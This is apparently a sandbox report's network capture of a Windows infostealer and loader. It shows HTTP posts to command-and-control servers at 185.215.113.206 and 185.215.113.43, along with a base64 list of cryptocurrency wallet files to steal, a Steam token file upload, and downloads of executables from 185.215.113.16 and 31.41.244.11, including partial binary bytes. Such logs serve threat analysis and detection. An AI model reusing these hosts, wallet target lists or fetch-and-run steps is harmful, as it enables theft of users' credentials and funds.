46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 23, 2024 09:17:03.361104012 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGDBFIJKEBGIDGDHCGC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="message"files------KEGDBFIJKEBGIDGDHCGC--
Nov 23, 2024 09:17:03.814310074 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 09:17:03.827863932 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file"------JJJEBGDAFHJEBGDGIJDH--
Nov 23, 2024 09:17:04.788062096 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 09:17:04.833213091 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 2d 2d 0d 0a Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="message"ybncbhylepme------IDHIEGIIIECAKEBFBAAE--
Nov 23, 2024 09:17:05.303726912 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49942	185.215.113.16	80	7040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:17:05.571666956 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 23, 2024 09:17:06.996397972 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 08:17:06 GMT Content-Type: application/octet-stream Content-Length: 1917952 Last-Modified: Sat, 23 Nov 2024 08:13:02 GMT Connection: keep-alive ETag: "67418e8e-1d4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@0LF@@WkHKpK @.rsrcH@.idata @ +@rvvxjflc01&@jcggrwczK@.taggant0L""@
Nov 23, 2024 09:17:06.996458054 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:17:06.997190952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:17:06.997215986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:17:06.997229099 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:17:06.997839928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:17:06.997855902 CET	1236	IN	Data Raw: d4 6a ae 75 d5 58 39 57 53 cd 88 e2 d3 61 78 ae 0a 2d 89 56 a4 de ac 7a 67 ef cd 45 91 29 6f 33 a7 5d 3c 97 ce d9 ea 46 a5 31 8f 98 4a 91 69 96 1b df 39 46 0d 41 96 6e aa 9d b6 10 55 2d 51 d7 38 cd 7b 52 cd ad 8f 9c 8a 91 89 d6 d4 5e e7 e8 9c 1d Data Ascii: juX9WSax-VzgE)o3]<F1Ji9FAnU-Q8{R^LS6Z%M{V)-SB6mM+uIkr1uzOe,1)3,zMYuJk9]JHU a;Rlv {kj,<./S\v`O:Y@
Nov 23, 2024 09:17:06.997879982 CET	248	IN	Data Raw: b5 f9 1b d8 1d 45 95 8a 03 75 23 c7 0e 0a 7e c6 01 13 68 fa bf 7d 68 36 63 ba fd ce 35 43 40 ec 2c c8 26 84 73 04 0d 98 08 db 4e 27 29 15 1c c9 c0 6c 69 56 49 7c b0 11 d1 d3 4e 36 b3 96 b2 5b 85 15 53 07 05 2f 33 43 14 f4 63 ad 9b 3d d5 11 84 70 Data Ascii: Eu#~h}h6c5C@,&sN')liVI\|N6[S/3Cc=p2($]M4W3r]K{<Pf{LYHl-<SV^]e!,}L"7daD2^Wrj&yR^3kT0%QeY=!"=
Nov 23, 2024 09:17:06.998466969 CET	1236	IN	Data Raw: 85 1e b3 98 f0 c5 10 d8 86 0f 8b 32 29 90 53 22 c0 f9 c2 aa de 8e 16 e4 46 9d 0e d7 c9 ee 0b 0b 70 20 02 8d f6 1d 56 7b 7b 05 96 11 cc 15 24 d5 64 42 26 9a 65 11 51 b1 d3 3c 94 8d 87 32 cb 22 dd cf 39 fd a8 8d 7f bb 5c 93 8f 47 2f 5d 2b f0 d3 49 Data Ascii: 2)S"Fp V{{$dB&eQ<2"9\G/]+I9DBkLi cEHHk3KgvN-HH#Kz<zbPz:VVLD~x-3g6B\|!xpzbn!a^nrY7X~HMK:VE{y1%90u
Nov 23, 2024 09:17:06.998560905 CET	1236	IN	Data Raw: 9b 7a be 4c bf ad 19 24 98 8b fe b6 5f cc 0b 59 35 c1 99 97 09 21 8d 12 52 ef e5 72 c7 ab ee 9a 2b 6d 8d 9e 44 05 7a 3c 92 3f 90 d9 e4 78 5a f6 20 00 96 b4 42 0c fe 10 f5 7a 32 8c 72 e5 d9 1f cc 43 3c 21 7d d1 9b f6 c9 65 c1 fb 53 a3 f7 84 3c 74 Data Ascii: zL$_Y5!Rr+mDz<?xZ Bz2rC<!}eS<tN_m+V3M^4WF#eOeFC1=aDozAV%sI3GRxJO<C#bKLH1pj4;Y&p.(QHjo +OI
Nov 23, 2024 09:17:07.115971088 CET	1236	IN	Data Raw: 17 01 66 e5 e3 0f 87 e1 d2 2c d2 48 5c 5d b0 11 eb d3 4a 84 8b 86 80 c8 93 df 32 13 6d 4c 0e 8c 54 0d 89 4b c1 16 e6 2e 8d 57 49 d3 ec d7 8e 94 f0 90 70 9b 04 af 1f 46 18 c6 53 b0 9a 98 2b 5f c9 0e 15 0e 8a 11 85 43 ef 4e a2 e1 c2 65 91 97 b3 67 Data Ascii: f,H\]J2mLTK.WIpFS+_CNegmEm}On=';oS {1<7(BeZHHH</AK56{0ArJ64eCpL?VxegjFEYI/V<,"*,3EB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49959	185.215.113.206	80	7040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:17:11.011379957 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDHCGDGIEBKJKFHJJKFC--
Nov 23, 2024 09:17:12.948652029 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50095	185.215.113.43	80	8376	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:18:04.920399904 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 09:18:06.296705008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 08:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50101	185.215.113.43	80	8376	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:18:07.946100950 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 09:18:09.276210070 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 08:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 33 37 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 33 38 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 33 38 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 33 39 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008379001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008388001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008389001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008390001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008391001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50107	31.41.244.11	80	8376	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:18:09.403240919 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 09:18:10.786772013 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 08:18:10 GMT Content-Type: application/octet-stream Content-Length: 4497920 Last-Modified: Sat, 23 Nov 2024 07:53:22 GMT Connection: keep-alive ETag: "674189f2-44a200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 50 c8 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 c8 00 00 04 00 00 f8 e7 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 3f c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 3e c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2PJ@D@ _qs4?> px'@.rsrc p'@.idata q'@ @:q'@ozbvvmjaP'@ydmfclot@\|D@.taggant0P"D@
Nov 23, 2024 09:18:10.786881924 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:18:10.787008047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:18:10.787077904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:18:10.787112951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 09:18:10.787276030 CET	1236	IN	Data Raw: 56 1c bf ca 04 59 49 f4 ac 8f de 1e 04 67 a3 17 2a f5 f6 e7 6c 0b 7d 96 4e 54 5e 0b 32 0f b5 d6 63 67 e6 8e ca c8 c4 a2 d8 c0 55 33 cd 2e ce 1d 53 9e 75 cf b1 d3 38 dd 7b 97 4d 78 31 cb 35 c5 14 b2 87 df c1 62 f5 2d d4 36 c7 d4 8d f1 bd 55 3f 94 Data Ascii: VYIg*l}NT^2cgU3.Su8{Mx15b-6U?=F^3j!Y]%!`^e r\J>YSA$vbY1HAl[Uez.$X1z4\|rz\.KJWm
Nov 23, 2024 09:18:10.787308931 CET	896	IN	Data Raw: 14 31 70 a8 af 0c 63 b3 30 7f c4 df 06 4c 63 41 80 b0 9a 9e c1 a7 98 b2 16 bf 43 26 61 4b eb 60 06 e5 38 13 8d 26 d8 e1 24 52 82 38 0d 10 a8 fc a6 32 7a f3 a5 57 90 36 91 87 26 00 fb 9d e1 73 32 cf e0 1e 74 c1 97 38 45 02 ff 00 c9 8a 5f b6 b4 62 Data Ascii: 1pc0LcAC&aK`8&$R82zW6&s2t8E_bD3:NJlYv$}r;7.J(>;KU1rTV>c.Y&Bihgjbj-\#xWC'DVTUM'TD2'DH
